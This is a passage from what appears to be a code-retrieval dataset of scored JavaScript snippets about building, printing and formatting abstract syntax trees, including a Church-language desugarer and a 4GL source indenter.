format()\ndoc$$2=addAlignmentToDoc$1(concat$3([hardline$2,doc$$2]),alignmentSize,options.tabWidth);}docUtils$2.propagateBreaks(doc$$2);return doc$$2;}", "title": "" }, { "docid": "6530ed0877a26835df033e9889165377", "score": "0.5697383", "text": "function buildAST()\n{\n\tputMessage(\"~~~Now Building Abstract Syntax Tree from Tokens\");\n\t_Index = 0;\n\tputMessage(\"--Building Statement Block Node\");\n\tvar programJSONstring = parseToNode(\"stmtBlock\", parseASTBlockTree());\n\t_ASTjson = JSON.parse(programJSONstring);\n\tputMessage(\"~~~Ending AST Building\");\n}", "title": "" }, { "docid": "eb3f0487b5d255fc950d5214b9fced32", "score": "0.5672864", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n} // TODO: provide better type coverage in future", "title": "" }, { "docid": "1d7dc91b00222dd570d7a09a696a65ae", "score": "0.5672069", "text": "function format(text) {\n var options = getDefaultOptions();\n // Parse the source text\n var sourceFile = ts.createSourceFile(\"file.ts\", text, ts.ScriptTarget.Latest, true);\n fixupParentReferences(sourceFile);\n // Get the formatting edits on the input sources\n var edits = ts.formatting.formatDocument(sourceFile, getRuleProvider(options), options);\n // Apply the edits on the input code\n return applyEdits(text, edits);\n function getRuleProvider(options) {\n // Share this between multiple formatters using the same options.\n // This represents the bulk of the space the formatter uses.\n var ruleProvider = new ts.formatting.RulesProvider();\n ruleProvider.ensureUpToDate(options);\n return ruleProvider;\n }\n function applyEdits(text, edits) {\n // Apply edits in reverse on the existing text\n var result = text;\n for (var i = edits.length - 1; i >= 0; i--) {\n var change = edits[i];\n var head = result.slice(0, change.span.start);\n var tail = result.slice(change.span.start + change.span.length);\n result = head + change.newText + tail;\n }\n return result;\n }\n function getDefaultOptions() {\n return {\n IndentSize: 4,\n TabSize: 4,\n NewLineCharacter: '\\n',\n ConvertTabsToSpaces: true,\n InsertSpaceAfterCommaDelimiter: true,\n InsertSpaceAfterSemicolonInForStatements: true,\n InsertSpaceBeforeAndAfterBinaryOperators: true,\n InsertSpaceAfterKeywordsInControlFlowStatements: true,\n InsertSpaceAfterFunctionKeywordForAnonymousFunctions: false,\n InsertSpaceAfterOpeningAndBeforeClosingNonemptyParenthesis: false,\n PlaceOpenBraceOnNewLineForFunctions: false,\n PlaceOpenBraceOnNewLineForControlBlocks: false\n };\n }\n function fixupParentReferences(sourceFile) {\n var parent = sourceFile;\n function walk(n) {\n n.parent = parent;\n var saveParent = parent;\n parent = n;\n ts.forEachChild(n, walk);\n parent = saveParent;\n }\n ts.forEachChild(sourceFile, walk);\n }\n}", "title": "" }, { "docid": "b24cd6719431cc1c3b84e9b6ff496a6f", "score": "0.566188", "text": "function church_astify(tokens) {\n\t// astify changes the opening bracket tokens so the end site is the matching closing bracket\n\tfunction astify(tokens) {\n\n\t\tfunction helper(opening_bracket) {\n\t\t\t// Tree nodes have keys [children, start, end]\n\t\t\tvar result = {children: [], start: opening_bracket ? opening_bracket.start : \"1:1\"};\n\t\t\twhile (tokens.length > 0) {\n\t\t\t\tif (tokens[0].text == \"(\" || tokens[0].text == \"[\") {\n\t\t\t\t\tvar bracket = tokens[0];\n\t\t\t\t\tstorage.push(tokens.shift());\n\t\t\t\t\tresult.children.push(helper(bracket));\n\t\t\t\t} else if (tokens[0].text == \")\" || tokens[0].text == \"]\") {\n\t\t\t\t\tif (!opening_bracket || tokens[0].text != brackets_map[opening_bracket.text]) {\n\t\t\t\t\t\tthrow util.make_church_error(\"SyntaxError\", tokens[0].start, tokens[0].end, \"Unexpected close parens\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresult[\"end\"] = tokens[0].start;\n\t\t\t\t\t\topening_bracket.end = tokens[0].start;\n\t\t\t\t\t\tstorage.push(tokens.shift());\n\t\t\t\t\t\treturn result;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar token = tokens.shift();\n\t\t\t\t\tstorage.push(token);\n\t\t\t\t\tresult.children.push(token);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!opening_bracket) {\n\t\t\t\treturn result;\n\t\t\t} else {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", opening_bracket.start, opening_bracket.end, \"Unclosed parens\");\n\t\t\t}\n\t\t}\n\t\tvar storage = [];\n\t\tvar ast = helper();\n\t\tfor (var i = 0; i < storage.length; i++) {\n\t\t\ttokens.push(storage[i]);\n\t\t}\n\t\treturn ast;\n\t}\n\n\tfunction traverse(ast, fn, stopfn) {\n\t\tif (!util.is_leaf(ast) && ast.children.length > 0 && (!stopfn || !stopfn(ast))) {\n\t\t\tast = fn(ast);\n\t\t\tfor (var i = 0; i < ast.children.length; i++) {\n\t\t\t\tast.children[i] = traverse(ast.children[i], fn, stopfn);\n\t\t\t}\n\t\t}\n\t\treturn ast;\n\t}\n\n\tfunction is_special_form(text) {\n\t\treturn [\"define\", \"lambda\", \"case\", \"cond\", \"if\", \"let\"].indexOf(text) != -1;\n\t}\n\n\tfunction assert_not_special_form(node) {\n\t\tif (is_special_form(node.text)) {\n\t\t\tthrow util.make_church_error(\"SyntaxError\", node.start, node.end, \"Special form \" + node.text + \" cannot be used as an atom\");\n\t\t}\n\t}\n\n\tfunction validate_leaves(ast) {\n\t\tfor (var i = 1; i < ast.children.length; i++) {\n\t\t\tassert_not_special_form(ast.children[i]);\n\t\t}\n\t\treturn ast;\n\t}\n\n\t// NOTE: Many of the desugar functions don't add range information.\n\t// For now, it seems unlikely they'll be needed.\n\n\tfunction dsgr_define(ast) {\n\t\tif (ast.children[0].text==\"define\") {\n\t\t\tif (ast.children.length < 3) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, \"Invalid define\");\n\t\t\t}\n\t\t\t// Function define sugar\n\t\t\tif (!util.is_leaf(ast.children[1])) {\n\t\t\t\tvar lambda_args;\n\t\t\t\t// Variadic sugar\n\t\t\t\tif (ast.children[1].children.length == 3 && ast.children[1].children[1].text == \".\") {\n\t\t\t\t\tlambda_args = ast.children[1].children[2];\n\t\t\t\t} else {\n\t\t\t\t\tlambda_args = {children: ast.children[1].children.slice(1)};\n\t\t\t\t}\n\t\t\t\tvar lambda = {\n\t\t\t\t\tchildren: [\n\t\t\t\t\t\t{text: \"lambda\"},\n\t\t\t\t\t\tlambda_args\n\t\t\t\t\t].concat(ast.children.slice(2))\n\t\t\t\t};\n\t\t\t\treturn {\n\t\t\t\t\tchildren: [ast.children[0], ast.children[1].children[0], lambda],\n\t\t\t\t\tstart: ast.start,\n\t\t\t\t\tend: ast.end\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\t\treturn ast;\n\t}\n\n\tfunction dsgr_lambda(ast) {\n\t\tif (ast.children[0].text==\"lambda\") {\n\t\t\tif (ast.children.length < 3) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, \"lambda has no body\");\n\t\t\t}\n\t\t}\n\t\treturn ast;\n\t}\n\n\tfunction dsgr_let(ast) {\n\t\tvar let_varieties = [\"let\", \"let*\"];\n\n\t\tif (let_varieties.indexOf(ast.children[0].text)!=-1) {\n\t\t\tif (ast.children.length < 3) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, ast.children[0].text + \" has no body\");\n\t\t\t}\n\t\t\tvar bindings = ast.children[1];\n\t\t\tvar valid_bindings = true;\n\t\t\tif (util.is_leaf(bindings)) {\n\t\t\t\tvalid_bindings = false;\n\t\t\t} else {\n\t\t\t\tfor (var i = 0; i < bindings.children.length; i++) {\n\t\t\t\t\tif (util.is_leaf(bindings.children[i]) || bindings.children[i].children.length != 2) {\n\t\t\t\t\t\tvalid_bindings = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!valid_bindings) {\n\t\t\t\tthrow util.make_church_error_range(\"SyntaxError\", bindings.start, bindings.end, ast.children[0].text + \" has invalid bindings\");\n\t\t\t}\n\n\t\t\tswitch (ast.children[0].text) {\n\t\t\t\tcase \"let\":\n\t\t\t\t\treturn {\n\t\t\t\t\t\tchildren: [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tchildren: [\n\t\t\t\t\t\t\t\t\t{text: \"lambda\"},\n\t\t\t\t\t\t\t\t\t{children: bindings.children.map(function(x) {return x.children[0]})},\n\t\t\t\t\t\t\t\t\tast.children[2]\n\t\t\t\t\t\t\t\t]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t].concat(bindings.children.map(function(x) {return x.children[1]}))\n\t\t\t\t\t};\n\t\t\t\tcase \"let*\":\n\t\t\t\t\tvar new_ast = {\n\t\t\t\t\t\tchildren: [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tchildren: [\n\t\t\t\t\t\t\t\t\t{text: \"lambda\"},\n\t\t\t\t\t\t\t\t\t{children: []},\n\t\t\t\t\t\t\t\t\tast.children[2]\n\t\t\t\t\t\t\t\t]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t\tfor (var i = bindings.children.length-1; i >= 0; i--) {\n\t\t\t\t\t\t// console.log(JSON.stringify(bindings.children[i].children[0],undefined,2))\n\t\t\t\t\t\tnew_ast = {\n\t\t\t\t\t\t\tchildren: [\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tchildren: [\n\t\t\t\t\t\t\t\t\t\t{text: \"lambda\"},\n\t\t\t\t\t\t\t\t\t\t{children: [bindings.children[i].children[0]]},\n\t\t\t\t\t\t\t\t\t\tnew_ast\n\t\t\t\t\t\t\t\t\t]\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tbindings.children[i].children[1]\n\t\t\t\t\t\t\t]\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn new_ast;\n\t\t\t}\n\n\n\t\t} else {\n\t\t\treturn ast;\n\t\t}\n\t}\n\n\tfunction dsgr_quote(ast) {\n\t\tvar last = ast.children[ast.children.length-1];\n\t\tif (last.text==\"'\") {\n\t\t\tthrow util.make_church_error(\"SyntaxError\", last.start, last.end, \"Invalid single quote\");\n\t\t}\n\t\tfor (var i = ast.children.length - 2; i >= 0; i--) {\n\t\t\tif (ast.children[i].text == \"'\") {\n\t\t\t\tast.children.splice(i, 2, {\n\t\t\t\t\tchildren: [{text: \"quote\", start: ast.children[i].start, end: ast.children[i].end}, ast.children[i+1]],\n\t\t\t\t\tstart: ast.children[i].start,\n\t\t\t\t\tend: ast.children[i+1].end\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\treturn ast;\n\t}\n\n\tfunction dsgr_case(ast) {\n\t\tfunction case_helper(key, clauses) {\n\t\t\tif (clauses.length == 0) {\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t\tvar clause = clauses[0];\n\t\t\tif (util.is_leaf(clause) || clause.children.length != 2 ||\n\t\t\t\t(util.is_leaf(clause.children[0]) && clause.children[0].text!=\"else\")) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", clause.start, clause.end, \"Bad clause for case\");\n\t\t\t}\n\n\t\t\tif (clause.children[0].text==\"else\") {\n\t\t\t\tif (clauses.length > 1) {\n\t\t\t\t\tthrow util.make_church_error(\"SyntaxError\", clause.start, clause.end, \"Bad placement of else clause in case\");\n\t\t\t\t} else {\n\t\t\t\t\treturn clause.children[1];\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor (var i = 0; i < clause.children[0]; i++) {\n\t\t\t\t\tvar datum = clause.children[0].children[i];\n\t\t\t\t\tif (util.is_leaf(datum)) {\n\t\t\t\t\t\tthrow util.make_church_error(\"SyntaxError\", datum.start, datum.end, \" for case\");\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tvar next = case_helper(key, clauses.slice(1));\n\t\t\t\tvar new_ast = {\n\t\t\t\t\tchildren: [\n\t\t\t\t\t\t{text: \"if\"},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tchildren: [\n\t\t\t\t\t\t\t\t{text: \"member\"},\n\t\t\t\t\t\t\t\tkey,\n {children: [{text: \"list\"}].concat(clause.children[0].children)}\n\t\t\t\t\t\t\t\t// {children: [{text: \"list\"}].concat(clause.children[0])}\n\t\t\t\t\t\t\t]\n\t\t\t\t\t\t},\n\t\t\t\t\t\tclause.children[1]\n\t\t\t\t\t]\n\t\t\t\t};\n\t\t\t\tif (next) {\n\t\t\t\t\tnew_ast.children.push(next);\n\t\t\t\t}\n\t\t\t\treturn new_ast;\n\t\t\t}\n\t\t}\n\n\t\tif (ast.children[0].text==\"case\") {\n\t\t\tif (ast.children.length < 3) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, \"case is missing clauses\");\n\t\t\t}\n\t\t\treturn case_helper(ast.children[1], ast.children.slice(2));\n\t\t} else {\n\t\t\treturn ast;\n\t\t}\n\t}\n\n\tfunction dsgr_cond(ast) {\n\t\tfunction cond_helper(clauses) {\n\t\t\tif (clauses.length == 0) {\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t\tvar clause = clauses[0];\n\t\t\tif (util.is_leaf(clause) || clause.children.length != 2) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", clause.start, clause.end, \"Bad clause for cond\");\n\t\t\t}\n\t\t\tif (clause.children[0].text==\"else\") {\n\t\t\t\tif (clauses.length > 1) {\n\t\t\t\t\tthrow util.make_church_error(\"SyntaxError\", clause.start, clause.end, \"Bad placement of else clause in cond\");\n\t\t\t\t} else {\n\t\t\t\t\treturn clause.children[1];\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar next = cond_helper(\n\t\t\t\t\tclauses.slice(1));\n\t\t\t\tvar new_ast = {\n\t\t\t\t\tchildren: [\n\t\t\t\t\t\t{text: \"if\"},\n\t\t\t\t\t\tclause.children[0],\n\t\t\t\t\t\tclause.children[1]\n\t\t\t\t\t]\n\t\t\t\t};\n\t\t\t\tif (next) {\n\t\t\t\t\tnew_ast.children.push(next);\n\t\t\t\t}\n\t\t\t\treturn new_ast;\n\t\t\t}\n\t\t}\n\n\t\tif (ast.children[0].text==\"cond\") {\n\t\t\tif (ast.children.length < 2) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, \"cond is missing clauses\");\n\t\t\t}\n\t\t\treturn cond_helper(ast.children.slice(1));\n\t\t} else {\n\t\t\treturn ast;\n\t\t}\n\t}\n\n\tfunction dsgr_query(ast) {\n\t\t// Makes the lambda that's passed to the query function\n\t\tfunction query_helper(statements, condition, args) {\n\t\t\tif (util.is_leaf(condition) ||\n (condition.children[0].text != \"condition\" && condition.children[0].text != \"factor\")) {\n\t\t\t\tcondition = {\n\t\t\t\t\tchildren: [{text: \"condition\"}, condition],\n\t\t\t\t\tstart: condition.start,\n\t\t\t\t\tend: condition.end\n\t\t\t\t};\n\t\t\t}\n\t\t\targs = args || {children: []};\n\t\t\treturn {\n\t\t\t\tchildren: [\n\t\t\t\t\t{text: \"lambda\"},\n\t\t\t\t\targs\n\t\t\t\t].concat(statements.slice(0, -1)).concat(condition).concat(statements[statements.length-1])\n\t\t\t};\n\t\t}\n\t\t\n\t\tif ([\"rejection-query\", \"enumeration-query\"].indexOf(ast.children[0].text) != -1) {\n\t\t\tif (ast.children.length < 3) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, ast.children[0].text + \" has the wrong number of arguments\");\n\t\t\t}\n\t\t\treturn {\n\t\t\t\tchildren: [\n\t\t\t\t\tast.children[0],\n\t\t\t\t\tquery_helper(ast.children.slice(1, -1), ast.children[ast.children.length-1])\n\t\t\t\t],\n\t\t\t\tstart: ast.start,\n\t\t\t\tend: ast.end\n\t\t\t};\n\t\t}\n\t\tif ([\"mh-query\"].indexOf(ast.children[0].text) != -1) {\n\t\t\tif (ast.children.length < 6) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, ast.children[0].text + \" has the wrong number of arguments\");\n\t\t\t}\n\t\t\treturn {\n\t\t\t\tchildren: [\n\t\t\t\t\tast.children[0],\n\t\t\t\t\tquery_helper(ast.children.slice(3, -1), ast.children[ast.children.length-1])\n\t\t\t\t].concat(ast.children.slice(1, 3)),\n\t\t\t\tstart: ast.start,\n\t\t\t\tend: ast.end\n\t\t\t};\n\t\t}\n\t\treturn ast;\n\t}\n\n\tfunction validate_if(ast) {\n\t\tif (ast.children[0].text==\"if\") {\n\t\t\tif (ast.children.length < 3 || ast.children.length > 4) {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", ast.start, ast.end, \"if has the wrong number of arguments\");\n\t\t\t}\n\t\t}\n\t\treturn ast;\n\t}\n \n\tfunction transform_equals_condition(ast) {\n\t\tfunction is_equals_conditionable(ast) {\n\t\t\tvar equals_conditionable_erps = [\"flip\", \"uniform\", \"gaussian\"];\n\t\t\treturn !util.is_leaf(ast) && ast.children[4] == undefined && equals_conditionable_erps.indexOf(ast.children[0].text) != -1;\n\t\t}\n\n\t\tfunction transform_erp(erp, conditioned_value) {\n\t\t\t[1,2,3].map(function(x) {erp.children[x] = erp.children[x] || {}});\n\t\t\terp.children[4] = conditioned_value;\n\t\t}\n\n\t\tfunction try_transform(left, right) {\n\t\t\tif (left == undefined) return false;\n\t\t\tif (is_equals_conditionable(left)) {\n\t\t\t\ttransform_erp(left, right);\n\t\t\t\tlambda_children.splice(i, 1, left);\n\t\t\t\treturn true;\n\t\t\t} else if (util.is_leaf(left) && define_table[left.text]) {\n\t\t\t\tvar left_entry = define_table[left.text];\n\t\t\t\tif (!util.is_identifier(right.text) || (\n\t\t\t\t\t\tdefine_table[right.text] && left_entry.index > define_table[right.text].index)) {\n\t\t\t\t\ttransform_erp(left_entry.def, right);\n\t\t\t\t\tlambda_children.splice(i, 1);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\n\t\tvar transformed;\n\t\tif ([\"rejection-query\", \"enumeration-query\", \"mh-query\"].indexOf(ast.children[0].text) != -1) {\t\t\t\n\t\t\tvar define_table = {};\n\t\t\t// Assumes preprocessing through dsgr_query\n\t\t\tvar lambda_children = ast.children[1].children\n\t\t\tvar i = 0;\n\t\t\tfor (var i = 2; i < lambda_children.length; i++) {\n\t\t\t\tif (!util.is_leaf(lambda_children[i])) {\n\t\t\t\t\tif (lambda_children[i].children[0].text == \"define\") {\n\t\t\t\t\t\tdefine_table[lambda_children[i].children[1].text] = {\n\t\t\t\t\t\t\tindex: i,\n\t\t\t\t\t\t\tdef: lambda_children[i].children[2]\n\t\t\t\t\t\t};\n\t\t\t\t\t} else if (lambda_children[i].children[0].text == \"condition\") {\n\t\t\t\t\t\tvar condition = lambda_children[i].children[1];\n\t\t\t\t\t\tif (!util.is_leaf(condition) && condition.children[0].text == \"=\") {\n\t\t\t\t\t\t\tvar left = condition.children[1];\n\t\t\t\t\t\t\tvar right = condition.children[2];\n\t\t\t\t\t\t\tif (!try_transform(left, right)) try_transform(right, left);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t\treturn ast;\n\t}\n\n\t// Order is important, particularly desugaring quotes before anything else.\n\tvar desugar_fns = [validate_leaves, dsgr_define, dsgr_lambda, dsgr_let, dsgr_case, dsgr_cond, dsgr_query, validate_if, transform_equals_condition];\n\n\tvar ast = astify(tokens);\n\t// Special top-level check\n\tfor (var i = 0; i < ast.children.length; i++) {\n\t\tassert_not_special_form(ast.children[i]);\n\t}\n ast = traverse(ast, dsgr_quote);\n\tfor (var i = 0; i < desugar_fns.length; i++) {\n\t\tast = traverse(ast, desugar_fns[i], isquote);\n\t}\n\n\treturn ast;\n}", "title": "" }, { "docid": "e1ee9a96295cd9a59fceaed1c62d816d", "score": "0.55948156", "text": "function print(ast) {\n return visit(ast, {\n leave: printDocASTReducer\n });\n} // TODO: provide better type coverage in future", "title": "" }, { "docid": "1700004caca8f7cfcf5404af62041169", "score": "0.55903643", "text": "dump(maxDepth = Infinity, colorize = (type, txt) => txt, unicode = true) {\n let out = \"\";\n let self = this;\n this.walk((node, depth\n /*, parent, when */\n ) => {\n /* short-circuit processing at a certain depth */\n if (depth > maxDepth) return;\n /* draw tree structure */\n\n if (depth > 0) {\n const nodeIndex = node => {\n let nth = 0;\n let max = 0;\n\n if (node.P !== null) {\n nth = node.P.C.indexOf(node);\n max = node.P.C.length - 1;\n }\n\n return {\n nth,\n max\n };\n };\n\n let {\n nth,\n max\n } = nodeIndex(node);\n let prefix = \" \";\n if (unicode) prefix = `${tree.left.unicode}${tree.left.unicode}${prefix}`;else prefix = `${tree.left.ascii}${tree.left.ascii}${prefix}`;\n if (nth < max) prefix = `${unicode ? tree.mid.unicode : tree.mid.ascii}${prefix}`;else prefix = `${unicode ? tree.last.unicode : tree.last.ascii}${prefix}`;\n\n for (let parent = node.P; parent !== null && parent !== self; parent = parent.P) {\n if (parent.P !== null) {\n let {\n nth,\n max\n } = nodeIndex(parent);\n if (nth < max) prefix = `${unicode ? tree.down.unicode : tree.down.ascii} ${prefix}`;else prefix = ` ${prefix}`;\n }\n }\n\n out += colorize(\"tree\", prefix);\n }\n /* draw node type */\n\n\n out += colorize(\"type\", node.T) + \" \";\n /* draw node attributes */\n\n let keys = Object.keys(node.A).filter(key => !key.match(/^__/));\n\n if (keys.length > 0) {\n out += colorize(\"parenthesis\", \"(\");\n let first = true;\n keys.forEach(key => {\n if (!first) out += colorize(\"comma\", \",\") + \" \";else first = false;\n out += colorize(\"key\", key) + colorize(\"colon\", \":\") + \" \";\n let value = node.A[key];\n\n switch (typeof value) {\n case \"boolean\":\n case \"number\":\n out += colorize(\"value\", value.toString());\n break;\n\n case \"string\":\n {\n let hex = ch => ch.charCodeAt(0).toString(16).toUpperCase();\n /* eslint no-control-regex: off */\n\n\n out += colorize(\"value\", \"\\\"\" + value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, \"\\\\\\\"\").replace(/\\x08/g, \"\\\\b\").replace(/\\t/g, \"\\\\t\").replace(/\\n/g, \"\\\\n\").replace(/\\f/g, \"\\\\f\").replace(/\\r/g, \"\\\\r\").replace(/[\\x00-\\x07\\x0B\\x0E\\x0F]/g, ch => \"\\\\x0\" + hex(ch)).replace(/[\\x10-\\x1F\\x80-\\xFF]/g, ch => \"\\\\x\" + hex(ch)).replace(/[\\u0100-\\u0FFF]/g, ch => \"\\\\u0\" + hex(ch)).replace(/[\\u1000-\\uFFFF]/g, ch => \"\\\\u\" + hex(ch)) + \"\\\"\");\n break;\n }\n\n case \"object\":\n if (value instanceof RegExp) out += colorize(\"value\", \"/\" + value.source + \"/\");else out += colorize(\"value\", JSON.stringify(value));\n break;\n\n default:\n out += colorize(\"value\", JSON.stringify(value));\n break;\n }\n });\n out += colorize(\"parenthesis\", \")\") + \" \";\n }\n /* draw node position */\n\n\n out += colorize(\"position\", colorize(\"bracket\", \"[\") + colorize(\"line\", node.L.L) + colorize(\"slash\", \",\") + colorize(\"column\", node.L.C) + colorize(\"bracket\", \"]\"));\n out += \"\\n\";\n }, \"downward\");\n return out;\n }", "title": "" }, { "docid": "508d3c03d5803ed000c5283e97bf0c62", "score": "0.5566132", "text": "toString(options = {}){\n return this.exprParsed.toString(options);\n }", "title": "" }, { "docid": "e33bd87ebc17565a3f4f8c3c519fa7d6", "score": "0.5562802", "text": "function print(ast) {\n return Object(_visitor_mjs__WEBPACK_IMPORTED_MODULE_0__[\"visit\"])(ast, {\n leave: printDocASTReducer\n });\n} // TODO: provide better type coverage in future", "title": "" }, { "docid": "6e7d915b4cca43c342ff86a421f1509e", "score": "0.5525074", "text": "function astSchemaToString(grammarName) {\n return grammarAstRules(grammarName).map(function (r) { return r.name + \" <- \" + r.astRuleDefn; }).join('\\n');\n }", "title": "" }, { "docid": "039bc3130585b73952c62e9f8ce2832b", "score": "0.55147237", "text": "function buildAST(tokens) {\n let token = tokens.shift();\n //\n // Expressions using ()\n //\n if (token == \"(\") {\n return generateExpression(tokens, token, \")\");\n }\n //\n // Expressions using []\n //\n if (token == \"[\") {\n return generateExpression(tokens, token, \"]\");\n }\n //\n // Numbers\n //\n else if (!isNaN(token)) {\n return { type: \"number\", value: parseFloat(token) };\n }\n //\n // Strings\n //\n else if (token[0] == \"'\") {\n return { type: \"string\", value: token.slice(1, -1) };\n }\n //\n // Comments\n //\n else if (token[0] == \";\") {\n while (!token.endsWith(\";\")) {\n token = tokens.shift();\n }\n }\n //\n // Booleans\n //\n else if (token == \"true\" || token == \"false\") {\n return { type: \"boolean\", value: token };\n }\n //\n // Symbols\n //\n else {\n // Check if a property is being accessed\n if (!tokens[0].startsWith(\":\")) {\n return { type: \"symbol\", value: \"\", ref: token };\n } else {\n // Split the symbol into the name and property\n let split = tokens\n .shift()\n .split(\":\")\n .slice(1);\n return { type: \"symbol\", value: \"\", ref: token, property: split };\n }\n }\n}", "title": "" }, { "docid": "1f41f57b8ebf05415f9f1ddbf8df01ee", "score": "0.5510536", "text": "function print(ast) {\n return Object(_visitor__WEBPACK_IMPORTED_MODULE_0__[/* visit */ \"c\"])(ast, {\n leave: printDocASTReducer\n });\n} // TODO: provide better type coverage in future", "title": "" }, { "docid": "6cc7fc8f8106a6b3ce78eba6de2acdfd", "score": "0.550531", "text": "function format(src) {\n var output = '';\n var i = 1;\n const lines = src.split(/(\\n|\\r)/);\n\tconst l = lines.length;\n\tvar blockStarts = [\n\t\t'(','INPUT','MENU','GLOBALS','MAIN','IF','REPORT','FUNCTION','FOR',\n\t\t'WHILE','FOREACH','CASE'];\n\tvar keywords = [\n\t\t'END','INPUT','MENU','GLOBALS','MAIN','IF','REPORT','FUNCTION','FOR'\n\t\t,'WHILE','FOREACH','CASE','RECORD','PRINT','AFTER','BEFORE','ON','ELSE'\n\t\t,'BEGIN','COMMIT','WORK','ROLLBACK','ERROR','LET','CALL','MESSAGE','AT'\n\t\t,'PROMPT','DISPLAY','DEFINE','ARRAY','DECLARE','CURSOR','INT','DEC'\n\t\t,'CHAR','SELECT','FROM','FORM','WHERE','AND','OR','DATE','ROUND','SUM'\n\t\t,'INTEGER','OUTPUT','OPTIONS','FORMAT','DATABASE','AS','ORDER','BY'\n\t\t,'INITIALIZE','TO','NULL','LIKE','CONSTRUCT','NAME','EXIT','PROGRAM'\n\t\t,'DECIMAL','CLIPPED','PREPARE','START','FINISH','RUN','INTO','SET_COUNT'\n\t\t,'KEY','LOCK','SKIP','TO','TOP','OF','PAGE','LINE','CLOSE','SMALLINT'\n\t\t,'DEFER','INTERRUPT','INSERT','UPDATE','DELETE','CONTROL','STARTLOG'\n\t\t,'INTO','OPEN','WINDOW','ATTRIBUTE','BORDER','COMMAND','WITH','ROWS'\n\t\t,'COLUMNS','TIME','TODAY','INFIELD','FIELD','NEXT','THEN','FETCH'\n\t\t,'FIRST','PREVIOUS','LAST','STATUS','WITHOUT','DEFAULTS','WHEN'\n\t\t,'OTHERWISE','TRUE','FALSE','CLEAR','RETURN'];\n\t// indent level\n var il = 0;\n for (i = 0; i < l; i++) {\n var line = lines[i].trim();\n if (line !== '\\n' && line !== '') {\n // line processing\n var tokens = line.split(/(\\s|\\t)/);\n var outline = '';\n for (var j = 0; j < tokens.length; j++) {\n var token = tokens[j];\n if (token !== '' && token !== ' ' && token !== '\\t' && token !== '\\n' && token !== '\\r') {\n\t\t\t\t\tif(keywords.indexOf(token.toUpperCase()) >= 0){\n\t\t\t\t\t\ttoken = token.toUpperCase();\n\t\t\t\t\t}\n\t\t\t\t\tif(j == 0 && token.toUpperCase() == 'COLUMN'){\n\t\t\t\t\t\toutline += ' COLUMN ';\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\toutline += token + ' ';\n\t\t\t\t\t}\n }\n }\n\t\t\t// output\n\t\t\tif(il < 0){\n\t\t\t\til = 0;\n\t\t\t}\n\t\t\tvar foundEnd = 0;\n\t\t\tif(tokens[0].toUpperCase() == 'END'\n\t\t\t||tokens[0].toUpperCase() == ')'){\n\t\t\t\til--;\n\t\t\t\tfoundEnd = 1;\n\t\t\t}\n\t\t\tvar ifendif = 0;\n\t\t\tif(line.match(/\\s(END|end)\\s/)&&tokens[0].match(/(if|IF)/)){\n\t\t\t\tifendif = 1;\n\t\t\t}\n\t\t\tvar lessIndentThisLine = 0;\n\t\t\tif(tokens[0].toUpperCase() == 'ELSE'\n\t\t\t||tokens[0].toUpperCase() == 'OPTIONS'\n\t\t\t||tokens[0].toUpperCase() == 'OUTPUT'\n\t\t\t||tokens[0].toUpperCase() == 'FORMAT'\n\t\t\t||tokens[0].toUpperCase() == 'AFTER'\n\t\t\t||tokens[0].toUpperCase() == 'BEFORE'\n\t\t\t||tokens[0].toUpperCase() == 'WHEN'\n\t\t\t||tokens[0].toUpperCase() == 'ON'){\n\t\t\t\tlessIndentThisLine = 1;\n\t\t\t\til--;\n\t\t\t}\n\t\t\toutput += indent(outline, il) + '\\n';\t\t\t\t\n\t\t\tif(lessIndentThisLine){\n\t\t\t\til++;\n\t\t\t}\n\t\t\tif(!foundEnd && !ifendif\n\t\t\t&& ( blockStarts.indexOf(tokens[0].toUpperCase()) >= 0\n\t\t\t|| line.match(/(record|RECORD)$/))){\n\t\t\t\til++;\n\t\t\t}\n\t\t\tif(ifendif){\n\t\t\t\tifendif = 0;\n\t\t\t}\n }\n }\n return output;\n}", "title": "" }, { "docid": "f29bc171d4c367a8365945f9c8ec60e0", "score": "0.55026877", "text": "function print(ast){return(0,_visitor.visit)(ast,{leave:printDocASTReducer});}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": 